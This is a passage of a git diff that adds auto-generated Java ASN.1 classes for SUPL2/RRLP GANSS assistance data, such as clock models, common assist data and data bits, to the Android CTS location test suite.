+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSClockModel != null) {
+ return ImmutableList.of(TAG_GANSSClockModel);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new GANSSClockModel from encoded stream.
+ */
+ public static GANSSClockModel fromPerUnaligned(byte[] encodedBytes) {
+ GANSSClockModel result = new GANSSClockModel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSClockModel from encoded stream.
+ */
+ public static GANSSClockModel fromPerAligned(byte[] encodedBytes) {
+ GANSSClockModel result = new GANSSClockModel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $StandardClockModelList(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new SeqOfStandardClockModelElement();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfStandardClockModelElement.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+
+
+ public boolean isStandardClockModelList() {
+ return !hasExtensionValue() && Select.$StandardClockModelList == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isStandardClockModelList}.
+ */
+ @SuppressWarnings("unchecked")
+ public SeqOfStandardClockModelElement getStandardClockModelList() {
+ if (!isStandardClockModelList()) {
+ throw new IllegalStateException("GANSSClockModel value not a StandardClockModelList");
+ }
+ return (SeqOfStandardClockModelElement) element;
+ }
+
+ public void setStandardClockModelList(SeqOfStandardClockModelElement selected) {
+ selection = Select.$StandardClockModelList;
+ extension = false;
+ element = selected;
+ }
+
+ public SeqOfStandardClockModelElement setStandardClockModelListToNewInstance() {
+ SeqOfStandardClockModelElement element = new SeqOfStandardClockModelElement();
+ setStandardClockModelList(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ $NavClockModel(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new NAVclockModel();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((NAVclockModel) element).toIndentedString(indent);
+ }
+ },
+
+ $CnavClockModel(Asn1Tag.fromClassAndNumber(2, 2),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new CNAVclockModel();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((CNAVclockModel) element).toIndentedString(indent);
+ }
+ },
+
+ $GlonassClockModel(Asn1Tag.fromClassAndNumber(2, 3),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new GLONASSclockModel();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((GLONASSclockModel) element).toIndentedString(indent);
+ }
+ },
+
+ $SbasClockModel(Asn1Tag.fromClassAndNumber(2, 4),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new SBASclockModel();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((SBASclockModel) element).toIndentedString(indent);
+ }
+ },
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+
+ public boolean isExtensionNavClockModel() {
+ return hasExtensionValue() && Extend.$NavClockModel == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isNavClockModel}.
+ */
+ @SuppressWarnings("unchecked")
+ public NAVclockModel getExtensionNavClockModel() {
+ if (!isExtensionNavClockModel()) {
+ throw new IllegalStateException("GANSSClockModel value not a NavClockModel");
+ }
+ return (NAVclockModel) element;
+ }
+
+ public void setExtensionNavClockModel(NAVclockModel selected) {
+ selection = Extend.$NavClockModel;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionNavClockModelToNewInstance() {
+ NAVclockModel element = new NAVclockModel();
+ setExtensionNavClockModel(element);
+ }
+
+
+
+ public boolean isExtensionCnavClockModel() {
+ return hasExtensionValue() && Extend.$CnavClockModel == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isCnavClockModel}.
+ */
+ @SuppressWarnings("unchecked")
+ public CNAVclockModel getExtensionCnavClockModel() {
+ if (!isExtensionCnavClockModel()) {
+ throw new IllegalStateException("GANSSClockModel value not a CnavClockModel");
+ }
+ return (CNAVclockModel) element;
+ }
+
+ public void setExtensionCnavClockModel(CNAVclockModel selected) {
+ selection = Extend.$CnavClockModel;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionCnavClockModelToNewInstance() {
+ CNAVclockModel element = new CNAVclockModel();
+ setExtensionCnavClockModel(element);
+ }
+
+
+
+ public boolean isExtensionGlonassClockModel() {
+ return hasExtensionValue() && Extend.$GlonassClockModel == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isGlonassClockModel}.
+ */
+ @SuppressWarnings("unchecked")
+ public GLONASSclockModel getExtensionGlonassClockModel() {
+ if (!isExtensionGlonassClockModel()) {
+ throw new IllegalStateException("GANSSClockModel value not a GlonassClockModel");
+ }
+ return (GLONASSclockModel) element;
+ }
+
+ public void setExtensionGlonassClockModel(GLONASSclockModel selected) {
+ selection = Extend.$GlonassClockModel;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionGlonassClockModelToNewInstance() {
+ GLONASSclockModel element = new GLONASSclockModel();
+ setExtensionGlonassClockModel(element);
+ }
+
+
+
+ public boolean isExtensionSbasClockModel() {
+ return hasExtensionValue() && Extend.$SbasClockModel == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isSbasClockModel}.
+ */
+ @SuppressWarnings("unchecked")
+ public SBASclockModel getExtensionSbasClockModel() {
+ if (!isExtensionSbasClockModel()) {
+ throw new IllegalStateException("GANSSClockModel value not a SbasClockModel");
+ }
+ return (SBASclockModel) element;
+ }
+
+ public void setExtensionSbasClockModel(SBASclockModel selected) {
+ selection = Extend.$SbasClockModel;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionSbasClockModelToNewInstance() {
+ SBASclockModel element = new SBASclockModel();
+ setExtensionSbasClockModel(element);
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "GANSSClockModel = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSCommonAssistData.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSCommonAssistData.java
new file mode 100755
index 0000000..96209c8
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSCommonAssistData.java
@@ -0,0 +1,464 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSCommonAssistData extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSCommonAssistData
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSCommonAssistData() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSCommonAssistData;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSCommonAssistData != null) {
+ return ImmutableList.of(TAG_GANSSCommonAssistData);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSCommonAssistData from encoded stream.
+ */
+ public static GANSSCommonAssistData fromPerUnaligned(byte[] encodedBytes) {
+ GANSSCommonAssistData result = new GANSSCommonAssistData();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSCommonAssistData from encoded stream.
+ */
+ public static GANSSCommonAssistData fromPerAligned(byte[] encodedBytes) {
+ GANSSCommonAssistData result = new GANSSCommonAssistData();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSReferenceTime ganssReferenceTime_;
+ public GANSSReferenceTime getGanssReferenceTime() {
+ return ganssReferenceTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSReferenceTime
+ */
+ public void setGanssReferenceTime(Asn1Object value) {
+ this.ganssReferenceTime_ = (GANSSReferenceTime) value;
+ }
+ public GANSSReferenceTime setGanssReferenceTimeToNewInstance() {
+ ganssReferenceTime_ = new GANSSReferenceTime();
+ return ganssReferenceTime_;
+ }
+
+ private GANSSRefLocation ganssRefLocation_;
+ public GANSSRefLocation getGanssRefLocation() {
+ return ganssRefLocation_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSRefLocation
+ */
+ public void setGanssRefLocation(Asn1Object value) {
+ this.ganssRefLocation_ = (GANSSRefLocation) value;
+ }
+ public GANSSRefLocation setGanssRefLocationToNewInstance() {
+ ganssRefLocation_ = new GANSSRefLocation();
+ return ganssRefLocation_;
+ }
+
+ private GANSSIonosphericModel ganssIonosphericModel_;
+ public GANSSIonosphericModel getGanssIonosphericModel() {
+ return ganssIonosphericModel_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSIonosphericModel
+ */
+ public void setGanssIonosphericModel(Asn1Object value) {
+ this.ganssIonosphericModel_ = (GANSSIonosphericModel) value;
+ }
+ public GANSSIonosphericModel setGanssIonosphericModelToNewInstance() {
+ ganssIonosphericModel_ = new GANSSIonosphericModel();
+ return ganssIonosphericModel_;
+ }
+
+
+
+ private GANSSAddIonosphericModel extensionGanssAddIonosphericModel;
+ public GANSSAddIonosphericModel getExtensionGanssAddIonosphericModel() {
+ return extensionGanssAddIonosphericModel;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSAddIonosphericModel
+ */
+ public void setExtensionGanssAddIonosphericModel(Asn1Object value) {
+ extensionGanssAddIonosphericModel = (GANSSAddIonosphericModel) value;
+ }
+ public void setExtensionGanssAddIonosphericModelToNewInstance() {
+ extensionGanssAddIonosphericModel = new GANSSAddIonosphericModel();
+ }
+
+ private GANSSEarthOrientParam extensionGanssEarthOrientParam;
+ public GANSSEarthOrientParam getExtensionGanssEarthOrientParam() {
+ return extensionGanssEarthOrientParam;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEarthOrientParam
+ */
+ public void setExtensionGanssEarthOrientParam(Asn1Object value) {
+ extensionGanssEarthOrientParam = (GANSSEarthOrientParam) value;
+ }
+ public void setExtensionGanssEarthOrientParamToNewInstance() {
+ extensionGanssEarthOrientParam = new GANSSEarthOrientParam();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssReferenceTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssReferenceTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssReferenceTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSReferenceTime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssReferenceTime : "
+ + getGanssReferenceTime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssRefLocation() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssRefLocation();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssRefLocationToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSRefLocation.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssRefLocation : "
+ + getGanssRefLocation().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssIonosphericModel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssIonosphericModel();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssIonosphericModelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSIonosphericModel.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssIonosphericModel : "
+ + getGanssIonosphericModel().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionGanssAddIonosphericModel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionGanssAddIonosphericModel();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionGanssAddIonosphericModelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssAddIonosphericModel : "
+ + getExtensionGanssAddIonosphericModel().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionGanssEarthOrientParam() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionGanssEarthOrientParam();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionGanssEarthOrientParamToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssEarthOrientParam : "
+ + getExtensionGanssEarthOrientParam().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSCommonAssistData = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDataBit.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDataBit.java
new file mode 100755
index 0000000..be50e90
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDataBit.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSDataBit extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_GANSSDataBit
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSDataBit() {
+ super();
+ setValueRange("0", "1");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSDataBit;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSDataBit != null) {
+ return ImmutableList.of(TAG_GANSSDataBit);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSDataBit from encoded stream.
+ */
+ public static GANSSDataBit fromPerUnaligned(byte[] encodedBytes) {
+ GANSSDataBit result = new GANSSDataBit();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSDataBit from encoded stream.
+ */
+ public static GANSSDataBit fromPerAligned(byte[] encodedBytes) {
+ GANSSDataBit result = new GANSSDataBit();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "GANSSDataBit = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDataBitAssist.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDataBitAssist.java
new file mode 100755
index 0000000..369e6c7
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDataBitAssist.java
@@ -0,0 +1,366 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSDataBitAssist extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSDataBitAssist
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSDataBitAssist() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSDataBitAssist;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSDataBitAssist != null) {
+ return ImmutableList.of(TAG_GANSSDataBitAssist);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSDataBitAssist from encoded stream.
+ */
+ public static GANSSDataBitAssist fromPerUnaligned(byte[] encodedBytes) {
+ GANSSDataBitAssist result = new GANSSDataBitAssist();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSDataBitAssist from encoded stream.
+ */
+ public static GANSSDataBitAssist fromPerAligned(byte[] encodedBytes) {
+ GANSSDataBitAssist result = new GANSSDataBitAssist();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSDataBitAssist.ganssTODType ganssTOD_;
+ public GANSSDataBitAssist.ganssTODType getGanssTOD() {
+ return ganssTOD_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSDataBitAssist.ganssTODType
+ */
+ public void setGanssTOD(Asn1Object value) {
+ this.ganssTOD_ = (GANSSDataBitAssist.ganssTODType) value;
+ }
+ public GANSSDataBitAssist.ganssTODType setGanssTODToNewInstance() {
+ ganssTOD_ = new GANSSDataBitAssist.ganssTODType();
+ return ganssTOD_;
+ }
+
+ private SeqOfGanssDataBitsElement ganssDataBitsSatList_;
+ public SeqOfGanssDataBitsElement getGanssDataBitsSatList() {
+ return ganssDataBitsSatList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfGanssDataBitsElement
+ */
+ public void setGanssDataBitsSatList(Asn1Object value) {
+ this.ganssDataBitsSatList_ = (SeqOfGanssDataBitsElement) value;
+ }
+ public SeqOfGanssDataBitsElement setGanssDataBitsSatListToNewInstance() {
+ ganssDataBitsSatList_ = new SeqOfGanssDataBitsElement();
+ return ganssDataBitsSatList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssTOD() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssTOD();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssTODToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSDataBitAssist.ganssTODType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssTOD : "
+ + getGanssTOD().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssDataBitsSatList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
